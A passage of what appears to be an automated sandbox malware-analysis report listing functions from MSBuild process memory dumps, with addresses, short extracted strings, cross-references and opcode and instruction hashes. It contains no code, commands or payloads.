Opcode Fuzzy Hash: 3382daddbd05c49521811fb45f9c3e7dcfbf99dfacc1a00b84a5005a3393c8b3
Instruction Fuzzy Hash: E5030574A4421ACFCB54CF68D980AEEB7F5FB89344F1495AAD819E7315E730AA81CF40

Function 06BD9BEF Relevance: 6.7, Strings: 3, Instructions: 2989COMMON

Download Yara Rule

Strings

mxn, xrefs: 06BDB9D2
g8, xrefs: 06BDCC87
3y, xrefs: 06BDD182, 06BDD187

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: g8$mxn$3y
API String ID: 0-1585571478
Opcode ID: 51f2d9406af5f53d3b6011a72322745fdd928b22e792f613ecc03216e8120baf
Instruction ID: eead68407e4b7c67c4bf40b895e9ae4c42d96f56fac4b5702c513125ee35d597
Opcode Fuzzy Hash: 51f2d9406af5f53d3b6011a72322745fdd928b22e792f613ecc03216e8120baf
Instruction Fuzzy Hash: 7A8320B4E056298FDBA0CF28C984B99B7F5BB49314F1491EAD84CE7341E734AE818F45

Function 00E6D110 Relevance: 6.7, Strings: 4, Instructions: 1683COMMON

Download Yara Rule

Strings

7.LL, xrefs: 00E6DCE0
M2*r, xrefs: 00E6E6D0
^L,j, xrefs: 00E6DA16
^<oN, xrefs: 00E6E479

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID: 7.LL$M2*r$^<oN$^L,j
API String ID: 0-4087586809
Opcode ID: 640b81a914f978b6b7b1bfc5c505839cf1738ff048bdbd0167743f662b8ec14f
Instruction ID: 6409354cf5e6943e018c64c0bd639b56cd253b4165dce374d04ec762977a4ceb
Opcode Fuzzy Hash: 640b81a914f978b6b7b1bfc5c505839cf1738ff048bdbd0167743f662b8ec14f
Instruction Fuzzy Hash: B603C178E4522ACFDB60CF68D984A9DBBF5BB48304F1491A6D819E7355E730AE81CF40

Function 00E615C3 Relevance: 6.3, Strings: 4, Instructions: 1254COMMON

Download Yara Rule

Strings

@^#, xrefs: 00E628FC
*JL6, xrefs: 00E62240
:hW`, xrefs: 00E62055
S3., xrefs: 00E626D4

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID: *JL6$:hW`$@^#$S3.
API String ID: 0-1394080836
Opcode ID: 61d688c93592f40026406d88530a8c8c201b485825754572e9c02cfd04673600
Instruction ID: 3c3d32c3c18ffb4404aa39ff1eb0febb55d855c14b865f6973f240284237b7b5
Opcode Fuzzy Hash: 61d688c93592f40026406d88530a8c8c201b485825754572e9c02cfd04673600
Instruction Fuzzy Hash: 30D2E575A0021ACFDB54CF68D984ADEB7F5FB89304F1496AAD418EB315E770AA81CF40

Function 0799CD48 Relevance: 5.2, Strings: 3, Instructions: 1440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5YE, xrefs: 0799CF17
K, xrefs: 0799DA01
o, xrefs: 0799DF1D

Memory Dump Source

Source File: 0000000A.00000002.3938328192.0000000007990000.00000040.00000800.00020000.00000000.sdmp, Offset: 07990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7990000_MSBuild.jbxd

Similarity

API ID:
String ID: 5YE$K$o
API String ID: 0-37997690
Opcode ID: 4229c8cdad3936be24da56bdf09dddcea528edd94b9c21b378c1e1102bd4944c
Instruction ID: f36930629e85f9e83369d9efbac09ad70f3e4e90096f49c6b8259eee2ceead3c
Opcode Fuzzy Hash: 4229c8cdad3936be24da56bdf09dddcea528edd94b9c21b378c1e1102bd4944c
Instruction Fuzzy Hash: CD0321B4E012298FDBA5CF68C984B99BBF5BB49304F1081EAE90DE7351D7709E818F54

Function 00E6D0F3 Relevance: 5.0, Strings: 3, Instructions: 1228COMMON

Download Yara Rule

Strings

7.LL, xrefs: 00E6DCE0
M2*r, xrefs: 00E6E6D0
^<oN, xrefs: 00E6E479

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID: 7.LL$M2*r$^<oN
API String ID: 0-2101644819
Opcode ID: 83daf8c9a291f43ba3c89df2089be9f5c28aed790beee3b2db7020382b0e2e50
Instruction ID: 51e6b7be687b36bead2206d71560f25590b8684b32e9003f47d7637e43a0b034
Opcode Fuzzy Hash: 83daf8c9a291f43ba3c89df2089be9f5c28aed790beee3b2db7020382b0e2e50
Instruction Fuzzy Hash: B4D29375E0022A8FCB54CF68D984A9DBBF5FB49304F1486AAD419E7355E770AE81CF40

Function 00E61070 Relevance: 4.1, Strings: 3, Instructions: 353
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

]/, xrefs: 00E613E1
5xID, xrefs: 00E61175
35OG, xrefs: 00E61467

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID: 35OG$5xID$]/
API String ID: 0-1761396499
Opcode ID: 3fefe13a692c1874a132a61d69fd278b4fc49fa4cc59c6eee9948ff40389cdba
Instruction ID: 5fec6a64000252281000b48231f4ec1cebcfea402bce81315e9d41f89d450649
Opcode Fuzzy Hash: 3fefe13a692c1874a132a61d69fd278b4fc49fa4cc59c6eee9948ff40389cdba
Instruction Fuzzy Hash: 3602A374E002198FDB50DFA9D980A9DBBF6FF48304F2481AAD409EB355EB34AA45CF51

Function 06BD0FA0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 586
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

S7`, xrefs: 06BD11C1

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: S7`
API String ID: 0-3296622871
Opcode ID: 5611ec9bce9a76a245f4692573455528531ce097dba25a510a28f7613e159a66
Instruction ID: b079f6cb34fa495cb973e76bf9b9dc771fe6810c6239cf31dfe62559f183d1c0
Opcode Fuzzy Hash: 5611ec9bce9a76a245f4692573455528531ce097dba25a510a28f7613e159a66
Instruction Fuzzy Hash: 835273B4E012298FDBA4DF69D984B99BBF1BB49300F1481E6D80DEB355E7309A81CF54

Function 07C55A68 Relevance: 4.1, Strings: 3, Instructions: 324
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 07C55AE7
", xrefs: 07C55CE3
0j, xrefs: 07C55B0D

Memory Dump Source

Source File: 0000000A.00000002.3939159505.0000000007C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7c50000_MSBuild.jbxd

Similarity

API ID:
String ID: "$($0j
API String ID: 0-3604260806
Opcode ID: 54b26ec7dc1a22cbd67dfc88883df1e23c71803183276ec48924ed1189613a00
Instruction ID: b9944770fd7ed2aacdce5dc6b80f3151992cce824af67c24ecc164afe77f5af0
Opcode Fuzzy Hash: 54b26ec7dc1a22cbd67dfc88883df1e23c71803183276ec48924ed1189613a00
Instruction Fuzzy Hash: F7E129B1E00609CFDB18CFA9D985B9DBBF2BF89300F148169D409AB395DB349A81CF55

Function 07940358 Relevance: 3.7, Strings: 2, Instructions: 1162COMMON

Download Yara Rule

Strings

6, xrefs: 07940429
@B/, xrefs: 079407B9

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID: 6$@B/
API String ID: 0-3726057292
Opcode ID: fe947074572a40fc150e2dfffe6e3a25b71453fdf62b9681fc106daff3e6a138
Instruction ID: 65c14cf256f7c81b52214614ccaf1b23dba9b2a52731abb504c7014f26297e3a
Opcode Fuzzy Hash: fe947074572a40fc150e2dfffe6e3a25b71453fdf62b9681fc106daff3e6a138
Instruction Fuzzy Hash: 6DC2E3B4E01229CFDB64CF69C988B9DB7B6BB89314F1482E9D509A7251DB309EC1CF44

Function 06D51EB1 Relevance: 3.6, Strings: 2, Instructions: 1139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7qs, xrefs: 06D52B22
D, xrefs: 06D51F32

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID: 7qs$D
API String ID: 0-3494831700
Opcode ID: 0d65b7e554c7cec6439a143567f95e82069d4da67dbc0deb03466212ed43a018
Instruction ID: c282d1ca610624d982234efa3830f183aac709b67b4e03f42bf8fe08519ab1f9
Opcode Fuzzy Hash: 0d65b7e554c7cec6439a143567f95e82069d4da67dbc0deb03466212ed43a018
Instruction Fuzzy Hash: 49D25E74E012298FDBA4DF68C984B99BBF5BB49300F1081EAD85DE7355DB30AE858F40

Function 06BD29B8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 06BD2A57

Strings

,, xrefs: 06BD29EE

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID: ,
API String ID: 2994545307-3772416878
Opcode ID: a4a42c278a289298b7f1002e4df595a9de6c67a26d54e742bfb39e5e11a649f4
Instruction ID: 2b25c907ee8d4ed5710ffab732b761c7f0415780bf1c9e060cb5c5393b658386
Opcode Fuzzy Hash: a4a42c278a289298b7f1002e4df595a9de6c67a26d54e742bfb39e5e11a649f4
Instruction Fuzzy Hash: B131F4B4E01208DFCB14DFA9D684ADDBBF1FF48310F149265E504AB354E730A981CB54

Function 07310040 Relevance: 3.4, Strings: 1, Instructions: 2168COMMON

Download Yara Rule

Strings

^J_, xrefs: 073114B0

Memory Dump Source

Source File: 0000000A.00000002.3936995276.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7310000_MSBuild.jbxd

Similarity

API ID:
String ID: ^J_
API String ID: 0-2141518879
Opcode ID: 27f3a8c63824ef20d2e0fb3863bbf812eaeba3e34477d95c90a53571d24d4e41
Instruction ID: 5a3ddfce5a3016158ccc5e26b28b6f79b29d35c663662778075183609a584ea3
Opcode Fuzzy Hash: 27f3a8c63824ef20d2e0fb3863bbf812eaeba3e34477d95c90a53571d24d4e41
Instruction Fuzzy Hash: 634341B4E016298FDBA4CF28C984B99B7F5BB49300F1481EAE90DE7351D735AE918F44

Function 06D55318 Relevance: 3.2, Strings: 2, Instructions: 711
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1, xrefs: 06D55AA3
., xrefs: 06D55879

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID: .$1
API String ID: 0-1839485796
Opcode ID: a82e12dcb2076a94e5c0288bdee6cd9126cad193ae02e2a2011c08247d950289
Instruction ID: 3b2a3ee76508c0f8b99b48f676e8b12938491de65f908953454a6ebf00b50923
Opcode Fuzzy Hash: a82e12dcb2076a94e5c0288bdee6cd9126cad193ae02e2a2011c08247d950289
Instruction Fuzzy Hash: 0A72D374E002288FDB64DF68D984BDDBBB2BF49300F1482E9E519A7695DB319E81CF50

Function 06D57790 Relevance: 3.2, Strings: 2, Instructions: 663
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P}\, xrefs: 06D57A4A
0b~, xrefs: 06D57AB9

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID: 0b~$P}\
API String ID: 0-94426273
Opcode ID: 89072df6f5a89ec19a25b42595d5bd01278a0a08bee5fdc8f4a6bddecad077a9
Instruction ID: 51cc5ed3f87deafd35d1e9cdc40d319bb6ce0b17f4f73d7531442effdf8e2456
Opcode Fuzzy Hash: 89072df6f5a89ec19a25b42595d5bd01278a0a08bee5fdc8f4a6bddecad077a9
Instruction Fuzzy Hash: 39821B74E052298FDBA0DF69C984BD9BBF1AB49300F1081EAD85DE7351E730AE858F50

Function 06D658A0 Relevance: 3.1, Strings: 2, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%E, xrefs: 06D65B40
%KaM, xrefs: 06D65D5F

Memory Dump Source

Source File: 0000000A.00000002.3936281119.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d60000_MSBuild.jbxd

Similarity

API ID:
String ID: %E$%KaM
API String ID: 0-4103438776
Opcode ID: 825932d50586c91eb561ac9487a95fd2351924b20fb20006d04b74235af303ab
Instruction ID: 0aa660bf0e38a1a2e75de9491d2d924a2d01115a0dda1e1a5783d90c499514b2
Opcode Fuzzy Hash: 825932d50586c91eb561ac9487a95fd2351924b20fb20006d04b74235af303ab
Instruction Fuzzy Hash: 98520374E002198FDB64CF69D984B9DBBB2BF88310F14C2A5E449EB355DB34AA85CF50

Function 06BD4DB0 Relevance: 3.1, Strings: 2, Instructions: 622
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Wf, xrefs: 06BD4FDC
e, xrefs: 06BD4E2A

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: Wf$e
API String ID: 0-4159974372
Opcode ID: cbe6b7adda242e9952279e1d26fd61a91285121c5428917c89608c33304c14e1
Instruction ID: 7dd64ad3bb6646412e1a91564f2e29cc0a4815578a6bb59b322c67ccef09c3ac
Opcode Fuzzy Hash: cbe6b7adda242e9952279e1d26fd61a91285121c5428917c89608c33304c14e1
Instruction Fuzzy Hash: 73627F75E002298FDB64DF68C984BDDBBB1BF49310F1082E9D419AB355EB309A85CF54

Function 06BD8F38 Relevance: 3.1, Strings: 2, Instructions: 611
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^%M, xrefs: 06BD9605
VU/o, xrefs: 06BD90C2

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: VU/o$^%M
API String ID: 0-3984442629
Opcode ID: 3095f399a6ccdcb04c81b00ce5d365944f9b2dee700cfccdf62cdd9ef6a50059
Instruction ID: ff14128772aed740db58c420662590805f54ed31942b3a345f75c8c1b44b697c
Opcode Fuzzy Hash: 3095f399a6ccdcb04c81b00ce5d365944f9b2dee700cfccdf62cdd9ef6a50059
Instruction Fuzzy Hash: B852BE74A00219CFDB64DF68D984BDDBBB1BB49310F1482E5E449AB355EB30AE81CF54

Function 0794C5C0 Relevance: 3.0, Strings: 2, Instructions: 539
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[[K, xrefs: 0794C93D
H\K, xrefs: 0794C938

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID: H\K$[[K
API String ID: 0-895800994
Opcode ID: 1df7ca5c41d8e0a9545e95b1b31b3ed36f175744580ac95cfa506a237624ce4f
Instruction ID: 5df0c5411e4c44c36b0ca3d870dd565fc2965c26c7f3b70a3e91e6c37dc24399
Opcode Fuzzy Hash: 1df7ca5c41d8e0a9545e95b1b31b3ed36f175744580ac95cfa506a237624ce4f
Instruction Fuzzy Hash: 8E5290B4E012298FDB64DF68D984BDDBBB1BB49314F1086AAD409A7355DB30AE80CF54

Function 07C50A80 Relevance: 3.0, Strings: 2, Instructions: 531
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[, xrefs: 07C50B16
:, xrefs: 07C50C9D

Memory Dump Source

Source File: 0000000A.00000002.3939159505.0000000007C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7c50000_MSBuild.jbxd

Similarity

API ID:
String ID: :$[
API String ID: 0-3689730190
Opcode ID: 003d905ff30d21ca817bccbdbc9a67008e2672931c31dfda8ad2d8950c0ba0d6
Instruction ID: 4e069509a6e5e2de9f8681ba7a3e48891b7ecf1978342389edc37778b413c418
Opcode Fuzzy Hash: 003d905ff30d21ca817bccbdbc9a67008e2672931c31dfda8ad2d8950c0ba0d6
Instruction Fuzzy Hash: 46429DB4A00619CFDB60DF68D985B9DBBB1BF48304F1482A5D809EB355DB31AAC1CF54

Function 06D6E618 Relevance: 3.0, Strings: 2, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

q, xrefs: 06D6EA0C
KDBM, xrefs: 06D6E990

Memory Dump Source

Source File: 0000000A.00000002.3936281119.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d60000_MSBuild.jbxd

Similarity

API ID:
String ID: KDBM$q
API String ID: 0-3868953516
Opcode ID: 25f6c5d682b6f42cc31cace9ddc95db8687684415ef1ddd0e609739ae9aeb62b
Instruction ID: 05b8da68f4fd493ee95dfa589743ca6a4561f28fed95248bba6e8d0497bc7631
Opcode Fuzzy Hash: 25f6c5d682b6f42cc31cace9ddc95db8687684415ef1ddd0e609739ae9aeb62b
Instruction Fuzzy Hash: 50324F78E052298FDBA4CF69D985BDDBBF1BB48310F1481AAE809A7355D7309E81CF50

Function 06BD6668 Relevance: 2.9, Strings: 2, Instructions: 439COMMON

Download Yara Rule

Strings

rGY, xrefs: 06BD671F
gGY, xrefs: 06BD671A

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: gGY$rGY
API String ID: 0-4086360228
Opcode ID: f95f780d5bd9b268806b10989f4db9e4fd48b100ae05e59282d72ae1862c8fa2
Instruction ID: cc6789e4a613baae891e0cded986a418c1379cf0bf780e92f3e48038261a787b
Opcode Fuzzy Hash: f95f780d5bd9b268806b10989f4db9e4fd48b100ae05e59282d72ae1862c8fa2
Instruction Fuzzy Hash: 2822B174E00219CFDB64DF69D984B9DBBB2BF89300F54C2A9D409AB355EB30A981CF54

Function 06D6E608 Relevance: 2.8, Strings: 2, Instructions: 348COMMON

Download Yara Rule

Strings

q, xrefs: 06D6EA0C
KDBM, xrefs: 06D6E990

Memory Dump Source

Source File: 0000000A.00000002.3936281119.0000000006D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d60000_MSBuild.jbxd

Similarity

API ID:
String ID: KDBM$q
API String ID: 0-3868953516
Opcode ID: cfbfa5afa71926ae7c393146e44775a3d5ac93837ceeab99045b02dd87906a14
Instruction ID: 122bf9ed77d668177b2b6a58d3e094142a4e174f7c28e93ec141ecc62c378469
Opcode Fuzzy Hash: cfbfa5afa71926ae7c393146e44775a3d5ac93837ceeab99045b02dd87906a14
Instruction Fuzzy Hash: 47027174E002298FDB64DF69C985BDDBBF2BB48310F1481A6E809A7355DB319E81CF50

Function 079988FB Relevance: 2.8, Strings: 2, Instructions: 334COMMON

Download Yara Rule

Strings

z, xrefs: 07998B62
F, xrefs: 07998C74

Memory Dump Source

Source File: 0000000A.00000002.3938328192.0000000007990000.00000040.00000800.00020000.00000000.sdmp, Offset: 07990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7990000_MSBuild.jbxd

Similarity

API ID:
String ID: F$z
API String ID: 0-3396227556
Opcode ID: 08b23ec2e076b4a0f894322ff6bb39d4dac6378f961b82614c22817e767693d2
Instruction ID: 4bc357249aa65082bf73187f5d0f86281afac5a9fb6481d547b1843324eff628
Opcode Fuzzy Hash: 08b23ec2e076b4a0f894322ff6bb39d4dac6378f961b82614c22817e767693d2
Instruction Fuzzy Hash: D0E128B5D002198FEF14CFA9C884BDEBBF2BF89314F1481A9D419A7291DB349A85CF50

Function 07046830 Relevance: 2.7, Strings: 1, Instructions: 1446COMMON

Download Yara Rule

Strings

Vo, xrefs: 070474E0

Memory Dump Source

Source File: 0000000A.00000002.3936602355.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7040000_MSBuild.jbxd

Similarity

API ID:
String ID: Vo
API String ID: 0-4020166819
Opcode ID: 8df03fb409b958fcf8cf18e1e1230d6049e7493867b9d94bd61224b118413498
Instruction ID: 88cc4a483ba55dc1c71a010769a0927bce3b95bb869ac31a52833d4008a96c7a
Opcode Fuzzy Hash: 8df03fb409b958fcf8cf18e1e1230d6049e7493867b9d94bd61224b118413498
Instruction Fuzzy Hash: 3DF280B4E012298FDB64DF68D984B9DB7F5BB49300F1492EAE819E7351E7309E818F44

Function 06BD6658 Relevance: 2.7, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

rGY, xrefs: 06BD671F
gGY, xrefs: 06BD671A

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID: gGY$rGY
API String ID: 0-4086360228
Opcode ID: e2cabab9064a122c8b732d5fc16847a955ce0ebc89886588f0ad1343902064ee
Instruction ID: 63964b3d086cf29a7885b30d66ab13da75eaeb15a584604545985ed8f41b8bc4
Opcode Fuzzy Hash: e2cabab9064a122c8b732d5fc16847a955ce0ebc89886588f0ad1343902064ee
Instruction Fuzzy Hash: 5471C4B5E002188FDB54DFA9D981ACDFBF2BF89300F14D1A9D448AB215EB309981CF54

Function 06D5C568 Relevance: 2.3, Strings: 1, Instructions: 1099COMMON

Download Yara Rule

Strings

<IS), xrefs: 06D5D33A

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID: <IS)
API String ID: 0-936818865
Opcode ID: beb4a93ad43582aefce8e46084bcf9635c05b697bd6220adb056e46b6daeded2
Instruction ID: 05451a2e1d20cfd8bccd60960027645b4a3023717349a21277cf7a203a63626d
Opcode Fuzzy Hash: beb4a93ad43582aefce8e46084bcf9635c05b697bd6220adb056e46b6daeded2
Instruction Fuzzy Hash: 1CC27E74E012298FDBA0DF68C984B9DBBF1AB49300F1581EAD849E7755E730AE81CF54

Function 07996180 Relevance: 2.1, Strings: 1, Instructions: 858COMMON

Download Yara Rule

Strings

S_o*, xrefs: 0799696C

Memory Dump Source

Source File: 0000000A.00000002.3938328192.0000000007990000.00000040.00000800.00020000.00000000.sdmp, Offset: 07990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7990000_MSBuild.jbxd

Similarity

API ID:
String ID: S_o*
API String ID: 0-2797774947
Opcode ID: 1057a624425a88a8147c3336aab4ee177daaec1db813df78305e413b1842398b
Instruction ID: e54a9fc0d399d901c7c07544d2f038a306d3b161254a85e6ea62e0a7787b6080
Opcode Fuzzy Hash: 1057a624425a88a8147c3336aab4ee177daaec1db813df78305e413b1842398b
Instruction Fuzzy Hash: 2CA23CB4E012298FDB64DF68C984BD9BBF5BB49314F1081EAE84CA7351D770AE858F50

Function 07948968 Relevance: 2.1, Strings: 1, Instructions: 841COMMON

Download Yara Rule

Strings

0, xrefs: 079489D2

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 5be12a9c21e28e30acabb9d816080675012bd3d3dd944cfbd6a87e2c20408326
Instruction ID: c851f780a5f4e65c8ef7b64943acb57af490d9e288d82cd403dcafed9d40079e
Opcode Fuzzy Hash: 5be12a9c21e28e30acabb9d816080675012bd3d3dd944cfbd6a87e2c20408326
Instruction Fuzzy Hash: 8192C674A006198FDB64DF68C994BDEB7B2BF89314F1082E9D419AB395DB349E81CF40

Function 06D5C558 Relevance: 2.0, Strings: 1, Instructions: 792COMMON

Download Yara Rule

Strings

<IS), xrefs: 06D5D33A

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID: <IS)
API String ID: 0-936818865
Opcode ID: 13b214603f7f0afba7f96505647f39dc2e6a1082762bb7f41912168c830e7521
Instruction ID: adc75a1fbe35efaad4e1d305873f683799483b2d1b99a893f93c4e4edba11ccf
Opcode Fuzzy Hash: 13b214603f7f0afba7f96505647f39dc2e6a1082762bb7f41912168c830e7521
Instruction Fuzzy Hash: 68928074E012198FDBA0DF68D984B99BBF5BB49300F1581E6E809E7355DB30AE81CF54

Function 06BD1315 Relevance: 2.0, APIs: 1, Instructions: 534COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3935715898.0000000006BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6bd0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51f8b76498801d6f1e3aa66c80797052bcbb09deea09bea5bfea40a154c39169
Instruction ID: 77c7a93b547b3f31a01c89a3e5677c4faff28451ed367a4f88b417d9b91b99b5
Opcode Fuzzy Hash: 51f8b76498801d6f1e3aa66c80797052bcbb09deea09bea5bfea40a154c39169
Instruction Fuzzy Hash: E9426FB8E052298FDBA4CF68D984BD9B7F5BB49304F1481E6E809E7355E7309E818F50

Function 07949A98 Relevance: 2.0, Strings: 1, Instructions: 753COMMON

Download Yara Rule

Strings

N, xrefs: 07949B2A

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: be2cb493285292c258a8773ded0d4680bb391ebb903a0cec8270cadac560d75b
Instruction ID: ae4f82879e58911d82afb90ee63307b4b2f02ca7249af69d31378ad09213b10d
Opcode Fuzzy Hash: be2cb493285292c258a8773ded0d4680bb391ebb903a0cec8270cadac560d75b
Instruction Fuzzy Hash: 59923DB4E412298FDB64DF69D984BDDBBF1AB49314F1081EAE809E7351D730AE858F40

Function 07C535D8 Relevance: 1.9, Strings: 1, Instructions: 616COMMON

Download Yara Rule

Strings

d:p, xrefs: 07C5367B

Memory Dump Source

Source File: 0000000A.00000002.3939159505.0000000007C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7c50000_MSBuild.jbxd

Similarity

API ID:
String ID: d:p
API String ID: 0-2286290242
Opcode ID: 19bba6662fe78c43a36cd2eb180cc6586d957535839df8f986a0d7352b571598
Instruction ID: 364fb23d5dcf6c82a64392bd80a04898a05d2761579c17b8ba01d301034fbacd
Opcode Fuzzy Hash: 19bba6662fe78c43a36cd2eb180cc6586d957535839df8f986a0d7352b571598
